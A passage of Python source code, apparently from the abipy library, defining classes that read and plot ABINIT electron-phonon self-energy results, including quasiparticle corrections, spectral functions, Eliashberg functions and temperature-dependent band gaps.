self.is_e0sorted:\n raise ValueError(\"QPState corrections are not sorted. Use sort_by_e0\")\n\n return np.array([qp.e0 for qp in self])\n\n def get_field_itemp(self, field, itemp):\n \"\"\"|numpy-array| containing the values of field at temperature ``itemp``\"\"\"\n #return np.array([getattr(qp, field)[itemp] for qp in self])\n if field in {\"tmesh\", \"qpe\", \"ze0\", \"fan0\", \"dw\", \"qpe_oms\"}:\n return np.array([getattr(qp, field)[itemp] for qp in self])\n else:\n return np.array([getattr(qp, field) for qp in self])\n\n #def get_skb_field(self, skb, field):\n # \"\"\"Return the value of field for the given spin kp band tuple, None if not found\"\"\"\n # for qp in self:\n # if qp.skb == skb:\n # return getattr(qp, field)\n # return None\n\n #def get_qpenes(self):\n # \"\"\"Return an array with the :class:`QPState` energies.\"\"\"\n # return self.get_field(\"qpe\")\n\n #def get_qpeme0(self):\n # \"\"\"Return an arrays with the :class:`QPState` corrections.\"\"\"\n # return self.get_field(\"qpeme0\")\n\n def merge(self, other, copy=False):\n \"\"\"\n Merge self with other. Return new :class:`QpTempList` object\n\n Raise: `ValueError` if merge cannot be done.\n \"\"\"\n skb0_list = [qp.skb for qp in self]\n for qp in other:\n if qp.skb in skb0_list:\n raise ValueError(\"Found duplicated (s,b,k) indexes: %s\" % str(qp.skb))\n\n # Test on tmesh?\n # TODO Why copy?\n qps = self.copy() + other.copy() if copy else self + other\n return self.__class__(qps)\n\n # TODO: Linewidths\n @add_fig_kwargs\n def plot_vs_e0(self, itemp_list=None, with_fields=\"all\", reim=\"real\", function=lambda x: x,\n exclude_fields=None, fermie=None, colormap=\"jet\", ax_list=None, xlims=None, ylims=None,\n exchange_xy=False, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot QP results as a function of the initial KS energy.\n\n Args:\n itemp_list: List of integers to select a particular temperature. None for all\n with_fields: The names of the QP attributes to plot as function of e0.\n Accepts: List of strings or string with tokens separated by blanks.\n See :class:`QPState` for the list of available fields.\n reim: Plot the real or imaginary part\n function: Apply a function to the results before plotting\n exclude_fields: Similar to `with_field` but excludes fields.\n fermie: Value of the Fermi level used in plot. None for absolute e0s.\n colormap: matplotlib color map.\n ax_list: List of |matplotlib-Axes| for plot. If None, new figure is produced.\n xlims, ylims: Set the data limits for the x-axis. Accept tuple e.g. ``(left, right)``\n or scalar e.g. ``left``. If left (right) is None, default values are used.\n exchange_xy: True to exchange x-y axis.\n fontsize: Legend and title fontsize.\n kwargs: linestyle, color, label, marker\n\n Returns: |matplotlib-Figure|\n \"\"\"\n fields = QpTempState.get_fields_for_plot(\"e0\", with_fields, exclude_fields)\n if not fields: return None\n\n if reim == \"real\": ylabel_mask = r\"$\\Re(%s)$\"\n elif reim == \"imag\": ylabel_mask = r\"$\\Im(%s)$\"\n else: raise ValueError(\"Invalid option for reim, should be 'real' or 'imag'\")\n\n num_plots, ncols, nrows = len(fields), 1, 1\n if num_plots > 1:\n ncols = 2\n nrows = (num_plots // ncols) + (num_plots % ncols)\n\n # Build plot grid.\n ax_list, fig, plt = get_axarray_fig_plt(ax_list, nrows=nrows, ncols=ncols,\n sharex=True, sharey=False, squeeze=False)\n ax_list = np.array(ax_list).ravel()\n cmap = plt.get_cmap(colormap)\n\n # Get QpTempList and sort it.\n qps = self if self.is_e0sorted else self.sort_by_e0()\n e0mesh = qps.get_e0mesh()\n xlabel = r\"$\\epsilon_{KS}\\;(eV)$\"\n if fermie is not None:\n e0mesh -= fermie\n xlabel = r\"$\\epsilon_{KS}-\\epsilon_F\\;(eV)$\"\n\n kw_linestyle = kwargs.pop(\"linestyle\", \"o\")\n kw_color = kwargs.pop(\"color\", None)\n kw_label = kwargs.pop(\"label\", None)\n\n itemp_list = list(range(self.ntemp)) if itemp_list is None else duck.list_ints(itemp_list)\n for ix, (field, ax) in enumerate(zip(fields, ax_list)):\n irow, icol = divmod(ix, ncols)\n ax.grid(True)\n if irow == nrows - 1:\n if not exchange_xy:\n ax.set_xlabel(xlabel)\n else:\n ax.set_ylabel(xlabel)\n\n if not exchange_xy:\n ax.set_ylabel(ylabel_mask % field, fontsize=fontsize)\n else:\n ax.set_xlabel(ylabel_mask % field, fontsize=fontsize)\n\n has_legend = False\n\n # Plot different temperatures.\n for itemp in itemp_list:\n yt = qps.get_field_itemp(field, itemp)\n yt_reim = getattr(yt, reim)\n label = kw_label\n if kw_label is None:\n label = \"T = %.1f K\" % self.tmesh[itemp] if ix == 0 else None\n has_legend = has_legend or bool(label)\n xs = e0mesh\n ys = function(yt_reim)\n if exchange_xy: xs, ys = ys, xs\n ax.plot(xs, ys, kw_linestyle,\n color=cmap(itemp / self.ntemp) if kw_color is None else kw_color,\n label=label, **kwargs)\n\n set_axlims(ax, xlims, \"x\")\n set_axlims(ax, ylims, \"y\")\n if ix == 0 and has_legend:\n ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n # Get around a bug in matplotlib\n if num_plots % ncols != 0: ax_list[-1].axis('off')\n\n return fig\n\n\nclass EphSelfEnergy:\n r\"\"\"\n Electron self-energy due to phonon interaction :math:`\\Sigma_{nk}(\\omega,T)`\n Actually this object stores the diagonal matrix elements in the KS basis set.\n \"\"\"\n # Symbols used in matplotlib plots.\n latex_symbol = dict(\n re=r\"$\\Re{\\Sigma(\\omega)}$\",\n im=r\"$\\Im{\\Sigma(\\omega)}$\",\n spfunc=r\"$A(\\omega)}$\",\n )\n\n def __init__(self, wmesh, qp, vals_e0ks, dvals_de0ks, dw_vals, vals_wr, spfunc_wr,\n frohl_vals_e0ks=None, frohl_dvals_de0ks=None, frohl_spfunc_wr=None):\n \"\"\"\n Args:\n wmesh: Frequency mesh in eV.\n qp: :class:`QpTempState` instance.\n vals_e0ks: complex [ntemp] array with Sigma_eph(omega=eKS, kT)\n dvals_de0ks: complex [ntemp] arrays with derivative d Sigma_eph(omega, kT) / d omega (omega=eKS)\n dw_vals: [ntemp] array with Debye-Waller term (static)\n vals_wr: [ntemp, nwr] complex array with Sigma_eph(omega, kT). enk_KS corresponds to nwr//2 + 1.\n spfunc_wr: [ntemp, nwr] real array with spectral function.\n frohl_vals_e0ks, frohl_dvals_de0ks, frohl_spfunc_wr: Contribution to the eph self-energy\n computed with the Frohlich model for gkq (optional).\n \"\"\"\n self.qp = qp\n self.spin, self.kpoint, self.band = qp.spin, qp.kpoint, qp.band\n self.wmesh, self.tmesh = wmesh, qp.tmesh\n self.nwr, self.ntemp = len(self.wmesh), len(self.tmesh)\n\n # Get refs to values\n self.vals_e0ks = vals_e0ks\n assert self.vals_e0ks.shape == (self.ntemp,)\n self.dvals_de0ks = dvals_de0ks\n assert self.dvals_de0ks.shape == (self.ntemp,)\n self.dw_vals = dw_vals\n assert self.dw_vals.shape == (self.ntemp,)\n self.vals_wr = vals_wr\n assert self.vals_wr.shape == (self.ntemp, self.nwr)\n self.spfunc_wr = spfunc_wr\n assert self.spfunc_wr.shape == (self.ntemp, self.nwr)\n\n self.frohl_vals_e0ks = frohl_vals_e0ks\n self.frohl_dvals_de0ks = frohl_dvals_de0ks\n self.frohl_spfunc_wr = frohl_spfunc_wr\n\n def __str__(self):\n return self.to_string()\n\n def to_string(self, verbose=0, title=None) -> str:\n \"\"\"String representation.\"\"\"\n lines = []; app = lines.append\n if title is not None: app(marquee(title, mark=\"=\"))\n app(\"K-point: %s, band: %d, spin: %d\" % (repr(self.kpoint), self.band, self.spin))\n app(\"Number of temperatures: %d, from %.1f to %.1f (K)\" % (self.ntemp, self.tmesh[0], self.tmesh[-1]))\n app(\"Number of frequencies: %d, from %.1f to %.1f (eV)\" % (self.nwr, self.wmesh[0], self.wmesh[-1]))\n if self.frohl_vals_e0ks is not None:\n app(\"Contains contribution given by Frohlich term.\")\n app(self.qp.to_string(verbose=verbose, title=\"QP data\"))\n\n return \"\\n\".join(lines)\n\n def _get_wmesh_xlabel(self, zero_energy):\n \"\"\"Return (wmesh, xlabel) from zero_energy input argument.\"\"\"\n if zero_energy is None:\n xx = self.wmesh\n xlabel = r\"$\\omega\\;(eV)$\"\n elif zero_energy == \"e0\":\n xx = self.wmesh - self.qp.e0\n xlabel = r\"$\\omega - \\epsilon^0\\;(eV)$\"\n # TODO: chemical potential? but then I have mu(T) to handle in plots!\n #elif zero_energy == \"fermie\":\n # xx = self.wmesh - self.fermie\n # xlabel = r\"$\\omega\\;(eV)$\"\n else:\n raise ValueError(\"Invalid value of zero_energy: `%s`\" % str(zero_energy))\n\n return xx.copy(), xlabel\n\n def _get_ys_itemp(self, what, itemp, select_frohl=False):\n \"\"\"\n Return array(T) to plot from what and itemp index.\n \"\"\"\n if not select_frohl:\n return dict(\n re=self.vals_wr[itemp].real,\n im=self.vals_wr[itemp].imag,\n spfunc=self.spfunc_wr[itemp],\n )[what]\n else:\n return dict(\n re=self.frohl_vals_wr[itemp].real,\n im=self.frohl_vals_wr[itemp].imag,\n spfunc=self.frohl_spfunc_wr[itemp],\n )[what]\n\n def _get_itemps_labels(self, itemps):\n \"\"\"Return list of temperature indices and labels from itemps.\"\"\"\n if duck.is_string(itemps):\n if itemps == \"all\":\n itemps = list(range(self.ntemp))\n else:\n raise ValueError(\"Invalid value for itemps: `%s`\" % str(itemps))\n else:\n itemps = np.array(itemps, dtype=int)\n itemps = [itemps] if itemps.size == 1 else itemps.tolist()\n if not all(self.ntemp > it >= 0 for it in itemps):\n raise ValueError(\"Invalid list of temperature indices. ntemp is %d, received itemps:\\n\\t%s\" % (\n self.ntemp, str(itemps)))\n\n return itemps, [\"T=%.1f K\" % self.tmesh[it] for it in itemps]\n\n @add_fig_kwargs\n def plot_tdep(self, itemps=\"all\", zero_energy=\"e0\", colormap=\"jet\", ax_list=None,\n what_list=(\"re\", \"im\", \"spfunc\"), with_frohl=False, \n xlims=None, ylims= None, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot the real/imaginary part of self-energy as well as the spectral function for\n the different temperatures with a colormap.\n\n Args:\n itemps: List of temperature indices. \"all\" to plot'em all.\n zero_energy:\n colormap: matplotlib color map.\n ax_list: List of |matplotlib-Axes|. If None, new figure is produced.\n what_list: List of strings selecting the quantity to plot.\n \"re\" for real part, \"im\" for imaginary part, \"spfunc\" for spectral function A(omega).\n with_frohl: Visualize Frohlich contribution (if present).\n xlims: Set the data limits for the x-axis. Accept tuple e.g. ``(left, right)``\n or scalar e.g. ``left``. If left (right) is None, default values are used.\n ylims: Set the data limits for the y-axis. Accept list ( for real, imaginary or spectral function) of tuples e.g. ``[(left, right)]``\n or tuple e.g. ``(left, right)`` for all graphics\n or scalar e.g. ``left``. If left (right) is None, default values are used for all graphics.\n\n fontsize: legend and label fontsize.\n kwargs: Keyword arguments passed to ax.plot\n\n Returns: |matplotlib-Figure|\n \"\"\"\n # FIXME zero_energy or e0?\n what_list = list_strings(what_list)\n ax_list, fig, plt = get_axarray_fig_plt(ax_list, nrows=len(what_list), ncols=1, sharex=True, sharey=False)\n cmap = plt.get_cmap(colormap)\n xs, xlabel = self._get_wmesh_xlabel(zero_energy)\n\n itemps, tlabels = self._get_itemps_labels(itemps)\n kw_color = kwargs.get(\"color\", None)\n kw_label = kwargs.get(\"label\", None)\n\n if not isinstance(ax_list,np.ndarray):\n ax_list = np.array([ax_list])\n #try:\n # len(xlims)\n #except TypeError:\n # xlims = [xlims]\n try:\n len(ylims)\n except TypeError:\n ylims = [ylims]\n\n #if not any(isinstance(i, list) for i in xlims) or any(isinstance(i, tuple) for i in xlims) or any(isinstance(i, np.ndarray) for i in xlims):\n # xlims = [xlims]\n\n if not any(isinstance(i, list) for i in ylims) or any(isinstance(i, tuple) for i in ylims) or any(isinstance(i, np.ndarray) for i in ylims):\n ylims = [ylims]\n\n #while len(xlims) < len(what_list):\n # xlims.append(xlims[-1])\n\n while len(ylims) < len(what_list):\n ylims.append(ylims[-1])\n\n for ix, (what, ax) in enumerate(zip(what_list, ax_list)):\n ax.grid(True)\n ax.set_ylabel(self.latex_symbol[what])\n if (ix == len(ax_list) - 1): ax.set_xlabel(xlabel)\n for itemp in itemps:\n ax.plot(xs, self._get_ys_itemp(what, itemp),\n color=cmap(itemp / self.ntemp) if kw_color is None else kw_color,\n label=tlabels[itemp] if (ix == 0 and kw_label is None) else kw_label,\n )\n if with_frohl:\n # Add Frohlich contribution.\n ax.plot(xs, self._get_ys_itemp(what, itemp, select_frohl=True),\n color=cmap(itemp / self.ntemp) if kw_color is None else kw_color,\n label=\"Frohlich\",\n #label=tlabels[itemp] if (ix == 0 and kw_label is None) else kw_label,\n )\n\n if ix == 0: ax.legend(loc=\"best\", shadow=True, fontsize=fontsize)\n #xl = xlims[ix]\n yl = ylims[ix]\n set_axlims(ax, xlims, \"x\")\n set_axlims(ax, yl, \"y\")\n\n if \"title\" not in kwargs:\n title = \"K-point: %s, band: %d, spin: %d\" % (repr(self.kpoint), self.band, self.spin)\n fig.suptitle(title, fontsize=fontsize)\n\n return fig\n\n # Alias for plot_tdep\n plot = plot_tdep\n\n @add_fig_kwargs\n def plot_qpsolution(self, itemp=0, solve=False, with_int_aw=True,\n ax_list=None, xlims=None, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Graphical representation of the QP solution(s) along the real axis including the\n approximated solution obtained with the linearized equation and the on-the-mass-shell approach.\n\n Produce two subplots:\n 1. Re/Imag part and intersection with omega - eKs\n 2. A(w) + int^w A(w')dw' + OTMS\n\n Args:\n itemp: Temperature index.\n solve: If True, solve the non-linear QP equation. Requires shapely package.\n with_int_aw: Plot cumulative integral of A(w).\n ax_list: List of |matplotlib-Axes|. If None, new figure is produced.\n xlims: Set the data limits for the x-axis. Accept tuple e.g. ``(left, right)``\n or scalar e.g. ``left``. If left (right) is None, default values are used.\n fontsize: legend and label fontsize.\n kwargs: Keyword arguments passed to ax.plot\n\n Returns: |matplotlib-Figure|\n \"\"\"\n ax_list, fig, plt = get_axarray_fig_plt(ax_list, nrows=2, ncols=1, sharex=True, sharey=False)\n xs, xlabel = self._get_wmesh_xlabel(\"e0\")\n ax0, ax1 = ax_list\n\n # Plot Sigma(w)\n ax0.grid(True)\n ax0.plot(xs, self.vals_wr[itemp].real, label=r\"$\\Re(\\Sigma)$\")\n ax0.plot(xs, self.vals_wr[itemp].imag, ls=\"--\", label=r\"$\\Im(\\Sigma)$\")\n ax0.plot(xs, self.wmesh - self.qp.e0, color=\"b\", lw=1,\n ls=linestyles[\"dashed\"], label=r\"$\\omega - \\epsilon^0$\")\n\n # Add linearized QP solution\n sig0 = self.vals_wr[itemp][self.nwr // 2 + 1]\n aa = self.dvals_de0ks[itemp].real\n ze0 = self.qp.ze0[itemp].real\n line = sig0.real + aa * xs\n ax0.plot(xs, line, color=\"k\", lw=1, ls=linestyles[\"densely_dotted\"],\n label=r\"$\\Re(\\Sigma^0) + \\dfrac{\\partial\\Sigma}{\\partial\\omega}(\\omega - \\epsilon^0$)\")\n\n lins_x0 = self.qp.qpe[itemp].real - self.qp.e0\n y0 = sig0.real + aa * lins_x0\n scatter_opts = dict(color=\"blue\", marker=\"o\", alpha=0.8, s=50, zorder=100, edgecolor='black')\n ax0.scatter(lins_x0, y0, label=\"Linearized solution\", **scatter_opts)\n text = r\"$Z = %.2f$\" % ze0\n ax0.annotate(text, (lins_x0 + 0.02, y0 + 0.1), textcoords=\"data\", size=8)\n\n ax0.set_ylabel(r\"$\\Sigma(\\omega - \\epsilon^0)\\,$(eV)\")\n ax0.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n set_axlims(ax0, xlims, \"x\")\n\n data = {\n \"OTMS\": sig0.real,\n \"Linearized\": lins_x0,\n }\n\n if solve:\n # Solve the non-linear QP equation (may give multiple solutions).\n try:\n from shapely.geometry import LineString\n except ImportError as exc:\n raise ImportError(\"shapely package is required when solve=True. Install it with pip or conda.\") from exc\n\n first_line = LineString(np.column_stack((xs, self.vals_wr[itemp].real)))\n second_line = LineString(np.column_stack((xs, self.wmesh - self.qp.e0)))\n intersection = first_line.intersection(second_line)\n sol_xs, sol_ys = intersection.xy\n for i, (x, y) in enumerate(zip(sol_xs, sol_ys)):\n data[f\"NonLinear_#{i}\"] = x\n\n df = pd.DataFrame.from_dict(data, orient='index')\n print(\"QP corrections computed with different approximations. All in eV\")\n print(df)\n #ax0.table(cellText=df.values, colLabels=df.keys(), loc='center')\n\n ymin = min(self.vals_wr[itemp].real.min(), self.vals_wr[itemp].imag.min())\n ymin = ymin - abs(ymin) * 0.2\n ymax = max(self.vals_wr[itemp].real.max(), self.vals_wr[itemp].imag.max())\n ymax = ymax + abs(ymax) * 0.2\n set_axlims(ax0, [ymin, ymax], \"y\")\n\n # Plot Dyson-Migdal A(w)\n ax1.grid(True)\n ys = self.spfunc_wr[itemp]\n ax1.plot(xs, ys)\n\n # Plot Linearized A(w) (Z factor)\n #x0 = self.qp.qpe[itemp].real - self.qp.e0\n #ys = ze0 / np.pi * np.abs(sig0.imag) / ((xs - x0) ** 2 + sig0.imag ** 2)\n #ax1.plot(xs, ys)\n\n # Plot on the mass shell energy as vertical line\n ax1.axvline(sig0.real, lw=1, color=\"red\", ls=\"--\")\n ax1.annotate(\"OTMS\", (sig0.real + 0.02, 5.0), textcoords='data', size=8)\n\n ax1.set_xlabel(xlabel)\n ax1.set_ylabel(r\"$A(\\omega - \\epsilon^0)\\,$(1/eV)\")\n set_axlims(ax1, xlims, \"x\")\n\n if with_int_aw:\n # Instantiate a second ax sharing the same x-axis\n ax2 = ax1.twinx()\n from scipy.integrate import cumtrapz\n integral = cumtrapz(ys, x=xs, initial=0.0)\n color = \"black\"\n ax2.plot(xs, integral, color=color, ls=\"-.\", lw=1)\n ax2.set_ylabel(r\"$\\int^{\\omega - \\epsilon^0} A(\\omega')\\,d\\omega'$\", color=color)\n set_axlims(ax2, xlims, \"x\")\n\n if \"title\" not in kwargs:\n title = \"K-point: %s, band: %d, spin: %d, T=%.1f K\" % (\n repr(self.kpoint), self.band, self.spin, self.tmesh[itemp])\n ax0.set_title(title, fontsize=fontsize)\n\n return fig\n\n\nclass A2feph:\n r\"\"\"\n Eliashberg function :math:`\\alpha^2F_{nk}(\\omega)`\n obained within the adiabatic approximation (phonon freqs in Sigma are ignored)\n \"\"\"\n # Symbols used in matplotlib plots.\n latex_symbol = dict(\n gkq2=r\"$|g|^2$\",\n fan=r\"$\\alpha^2F_{FAN}$\",\n dw=r\"$\\alpha^2F_{DW}$\",\n tot=r\"$\\alpha^2F_{TOT}$\",\n a2f=r\"$\\alpha^2F_{n{\\bf{k}}}(\\omega)$\",\n )\n\n def __init__(self, mesh, gkq2, fan, dw, spin, kpoint, band):\n \"\"\"\n Args:\n mesh: Frequency mesh in eV\n gkq2:\n fan:\n dw:\n spin:\n kpoint:\n band:\n \"\"\"\n self.mesh = mesh\n self.gkq2, self.fan, self.dw = gkq2, fan, dw\n self.spin, self.kpoint, self.band = spin, kpoint, band\n\n @add_fig_kwargs\n def plot(self, ax=None, units=\"meV\", what=\"fandw\", exchange_xy=False, with_ahc_zpr=False, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot the Eliashberg function.\n\n Args:\n ax: |matplotlib-Axes| or None if a new figure should be created.\n units: Units for phonon plots. Possible values in (\"eV\", \"meV\", \"Ha\", \"cm-1\", \"Thz\"). Case-insensitive.\n what=: fandw for FAN, DW. gkq2 for |gkq|^2\n exchange_xy: True to exchange x-y axis.\n with_ahc_zpr:\n fontsize: legend and title fontsize.\n \"\"\"\n # Read mesh in Ha and convert to units.\n # TODO: Convert yvalues\n wmesh = self.mesh * abu.phfactor_ev2units(units)\n\n ax, fig, plt = get_ax_fig_plt(ax=ax)\n ax.grid(True)\n\n def get_xy(x, y):\n return (x, y) if not exchange_xy else (y, x)\n\n if what == \"fandw\":\n xs, ys = get_xy(wmesh, self.fan)\n ax.plot(xs, ys, label=self.latex_symbol[\"fan\"], **kwargs)\n xs, ys = get_xy(wmesh, self.dw)\n ax.plot(xs, ys, label=self.latex_symbol[\"dw\"], **kwargs)\n sig_tot = self.fan + self.dw\n xs, ys = get_xy(wmesh, sig_tot)\n ax.plot(xs, ys, label=self.latex_symbol[\"tot\"], **kwargs)\n if with_ahc_zpr:\n from scipy.integrate import cumtrapz\n integral = cumtrapz(sig_tot, x=self.wmesh, initial=True) #/ 2.0\n #print(\"ZPR: \", integral[-1])\n xs, ys = get_xy(wmesh, integral)\n ax2 = ax.twinx()\n ax2.plot(xs, ys, label=r\"$ZPR(\\omega)$\", **kwargs)\n #ax2.set_ylabel('Y2 data', color='b')\n\n ax.plot(xs, ys, label=self.latex_symbol[\"tot\"], **kwargs)\n xlabel, ylabel = abu.wlabel_from_units(units), self.latex_symbol[\"a2f\"]\n set_ax_xylabels(ax, xlabel, ylabel, exchange_xy)\n\n elif what == \"gkq2\":\n xs, ys = get_xy(wmesh, self.gkq2)\n ax.plot(xs, ys, label=self.latex_symbol[\"gkq2\"], **kwargs)\n xlabel, ylabel = abu.wlabel_from_units(units), self.latex_symbol[\"gkq2\"]\n set_ax_xylabels(ax, xlabel, ylabel, exchange_xy)\n else:\n raise NotImplementedError(\"%s\" % what)\n\n ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n return fig\n\n\nclass _MyQpkindsList(list):\n \"\"\"Returned by find_qpkinds.\"\"\"\n\n\nclass SigEPhFile(AbinitNcFile, Has_Structure, Has_ElectronBands, NotebookWriter):\n \"\"\"\n This file contains the Fan-Migdal Debye-Waller self-energy, the |ElectronBands| on the k-mesh.\n Provides methods to analyze and plot results.\n\n Usage example:\n\n .. code-block:: python\n\n with SigEPhFile(\"out_SIGEPH.nc\") as ncfile:\n print(ncfile)\n ncfile.ebands.plot()\n\n .. rubric:: Inheritance Diagram\n .. inheritance-diagram:: SigEPhFile\n \"\"\"\n # Markers used for up/down bands.\n marker_spin = {0: \"^\", 1: \"v\"}\n color_spin = {0: \"k\", 1: \"r\"}\n\n @classmethod\n def from_file(cls, filepath: str) -> SigEPhFile:\n \"\"\"Initialize the object from a netcdf file.\"\"\"\n return cls(filepath)\n\n def __init__(self, filepath: str):\n super().__init__(filepath)\n self.reader = self.r = r = SigmaPhReader(filepath)\n\n # Get important dimensions.\n self.nkcalc = r.nkcalc\n self.ntemp = r.ntemp\n self.nqbz = r.nqbz\n self.nqibz = r.nqibz\n self.ngqpt = r.ngqpt\n self.ddb_ngqpt = r.ddb_ngqpt\n\n self.symsigma = r.read_value(\"symsigma\")\n # 4 for FAN+DW, -4 for Fan Imaginary part\n #self.eph_task == r.read_value(\"eph_task\", default=4)\n self.imag_only = r.read_value(\"imag_only\", default=0) == 1\n # TODO zcut?\n self.zcut = r.read_value(\"eta\")\n self.nbsum = int(r.read_value(\"nbsum\"))\n\n self.bstart_sk = self.r.bstart_sk\n self.nbcalc_sk = self.r.nbcalc_sk\n self.bstop_sk = self.r.bstop_sk\n\n \"\"\"\n def get_fundamental_gaps(self):\n\n ib_lumo = self.ebands.nelect // 2\n ib_homo = ib_lumo - 1\n\n # nctkarr_t(\"qp_enes\", \"dp\", \"two, ntemp, max_nbcalc, nkcalc, nsppol\")\n qpes = self.r.read_value(\"qp_enes\", cmode=\"c\").real * abu.Ha_eV\n for spin in range(self.nsppol):\n for ikc, kpoint in enumerate(self.sigma_kpoints):\n qpes[spin, ikc, :, :]\n\n def difference_matrix(a):\n x = np.reshape(a, (len(a), 1))\n return x - x.transpose()\n\n for spin, kset in enumerate(self.ebands.fundamental_gaps):\n ks_fgap = kset.energy\n # Find index in nkcalc\n ik_homo = self.sigkpt2index(kset.in_state.kpoint)\n ik_lumo = self.sigkpt2index(kset.out_state.kpoint)\n # nctkarr_t(\"qp_enes\", \"dp\", \"two, ntemp, max_nbcalc, nkcalc, nsppol\")\n qpes = self.r.read_value(\"qp_enes\", cmode=\"c\") * units.Ha_eV\n qpes[spin, ik_homo, ib_homo].real\n qpes[spin, ik_lumo, ib_lumo].real\n \"\"\"\n\n def __str__(self):\n \"\"\"String representation.\"\"\"\n return self.to_string()\n\n def to_string(self, verbose: int = 0) -> str:\n \"\"\"String representation with verbosity level ``verbose``.\"\"\"\n lines = []; app = lines.append\n\n app(marquee(\"File Info\", mark=\"=\"))\n app(self.filestat(as_string=True))\n app(\"\")\n app(self.structure.to_string(verbose=verbose, title=\"Structure\"))\n app(\"\")\n app(self.ebands.to_string(with_structure=False, verbose=verbose, title=\"KS Electron Bands\"))\n app(\"\")\n # SigmaEPh section.\n app(marquee(\"SigmaEPh calculation\", mark=\"=\"))\n if self.imag_only:\n app(\"Calculation type: Imaginary part of SigmaEPh\")\n else:\n app(\"Calculation type: Real + Imaginary part of SigmaEPh\")\n app(\"Number of k-points in Sigma_{nk}: %d\" % (self.nkcalc))\n # These variables have added recently\n sigma_ngkpt = self.r.read_value(\"sigma_ngkpt\", default=None)\n sigma_erange = self.r.read_value(\"sigma_erange\", default=None)\n #dvdb_add_lr = self.r.read_value(\"dvdb_add_lr\", default=None)\n app(\"sigma_ngkpt: %s, sigma_erange: %s\" % (sigma_ngkpt, sigma_erange))\n app(\"Max bstart: %d, min bstop: %d\" % (self.r.max_bstart, self.r.min_bstop))\n app(\"Initial ab-initio q-mesh:\\n\\tddb_ngqpt: %s \" % str(self.ddb_ngqpt))\n eph_ngqpt_fine = self.r.read_value(\"eph_ngqpt_fine\")\n if np.all(eph_ngqpt_fine == 0): eph_ngqpt_fine = self.ngqpt\n app(\"q-mesh for self-energy integration (eph_ngqpt_fine): %s\" % (str(eph_ngqpt_fine)))\n app(\"k-mesh for electrons:\")\n app(\"\\t\" + self.ebands.kpoints.ksampling.to_string(verbose=verbose))\n app(\"Number of bands included in e-ph self-energy sum: %d\" % (self.nbsum))\n app(\"zcut: %.5f (Ha), %.3f (eV)\" % (self.zcut, self.zcut * abu.Ha_eV))\n app(\"Number of temperatures: %d, from %.1f to %.1f (K)\" % (self.ntemp, self.tmesh[0], self.tmesh[-1]))\n app(\"symsigma: %s\" % (self.symsigma))\n app(\"Has Eliashberg function: %s\" % (self.has_eliashberg_function))\n app(\"Has Spectral function: %s\" % (self.has_spectral_function))\n\n # Build table with direct gaps. Only the results for the first and the last T are shown if not verbose.\n if verbose:\n it_list = list(range(self.ntemp))\n else:\n it_list = [0, -1] if self.ntemp != 1 else [0]\n app(\"\\nPrinting QP results for %d temperatures. Use --verbose to print all results.\" % len(it_list))\n\n if not self.imag_only:\n # QP corrections\n for it in it_list:\n app(\"\\nKS, QP (Z factor) and on-the-mass-shell (OTMS) direct gaps in eV for T = %.1f K:\" % self.tmesh[it])\n data = []\n for ikc, kpoint in enumerate(self.sigma_kpoints):\n for spin in range(self.nsppol):\n ks_gap = self.ks_dirgaps[spin, ikc]\n qp_gap = self.qp_dirgaps_t[spin, ikc, it]\n oms_gap = self.qp_dirgaps_otms_t[spin, ikc, it]\n data.append([spin, repr(kpoint), ks_gap, qp_gap, qp_gap - ks_gap, oms_gap, oms_gap - ks_gap])\n app(str(tabulate(data,\n headers=[\"Spin\", \"k-point\", \"KS_gap\", \"QPZ0_gap\", \"QPZ0 - KS\", \"OTMS_gap\", \"OTMS - KS\"],\n floatfmt=\".3f\")))\n app(\"\")\n #else:\n # Print info on Lifetimes?\n\n if verbose > 1:\n app(\"K-points and bands included in self-energy corrections:\")\n for spin in range(self.nsppol):\n for ikc, kpoint in enumerate(self.sigma_kpoints):\n post = \"ikc: %d\" % (ikc if self.nsppol == 1 else \"ikc: %d, spin: %d\" % (ikc, spin))\n app(\"\\t%s: bstart: %d, bstop: %d, %s\" % (\n repr(kpoint), self.bstart_sk[spin, ikc], self.bstop_sk[spin, ikc], post))\n\n return \"\\n\".join(lines)\n\n @lazy_property\n def ebands(self) -> ElectronBands:\n \"\"\"|ElectronBands| object.\"\"\"\n return self.r.read_ebands()\n\n @property\n def structure(self) -> Structure:\n \"\"\"|Structure| object.\"\"\"\n return self.ebands.structure\n\n def close(self) -> None:\n \"\"\"Close the file.\"\"\"\n self.r.close()\n\n @lazy_property\n def has_spectral_function(self) -> bool:\n \"\"\"True if file contains spectral function data.\"\"\"\n return self.r.nwr != 0\n\n @lazy_property\n def has_eliashberg_function(self) -> bool:\n \"\"\"True if file contains Eliashberg functions.\"\"\"\n return self.r.gfw_nomega > 0\n\n @property\n def sigma_kpoints(self):\n \"\"\"The K-points where QP corrections have been calculated.\"\"\"\n return self.r.sigma_kpoints\n\n @property\n def tmesh(self):\n \"\"\"Temperature mesh in Kelvin.\"\"\"\n return self.r.tmesh\n\n @lazy_property\n def kcalc2ibz(self):\n \"\"\"\n Return a mapping of the kpoints at which the self energy was calculated and the ibz\n i.e. the list of k-points in the band structure used to construct the self-energy.\n \"\"\"\n # nctkarr_t(\"kcalc2ibz\", \"int\", \"nkcalc, six\")\n kcalc2ibz_map = self.r.read_value(\"kcalc2ibz\")\n return kcalc2ibz_map[0] - 1\n\n # TODO: This field is not available in the netcdf file.\n #if (len(self.sigma_kpoints) == len(self.ebands.kpoints) and\n # all(k1 == k2 for (k1, k2) in zip(self.sigma_kpoints, self.ebands.kpoints))):\n # return np.arange(len(self.sigma_kpoints))\n\n ## Generic case\n ## Map sigma_kpoints to ebands.kpoints\n #kcalc2ibz = np.empty(self.nkcalc, dtype=int)\n #for ikc, sigkpt in enumerate(self.sigma_kpoints):\n # kcalc2ibz[ikc] = self.ebands.kpoints.index(sigkpt)\n\n ##assert np.all(kcalc2ibz == self.r.read_value(\"kcalc2ibz\")[0] - 1)\n #return kcalc2ibz\n\n @lazy_property\n def ibz2kcalc(self):\n \"\"\"\n Mapping IBZ --> K-points in self-energy.\n Set to -1 if IBZ k-point not present.\n \"\"\"\n ibz2kcalc = -np.ones(len(self.ebands.kpoints), dtype=int)\n for ikc, ik_ibz in enumerate(self.kcalc2ibz):\n ibz2kcalc[ik_ibz] = ikc\n return 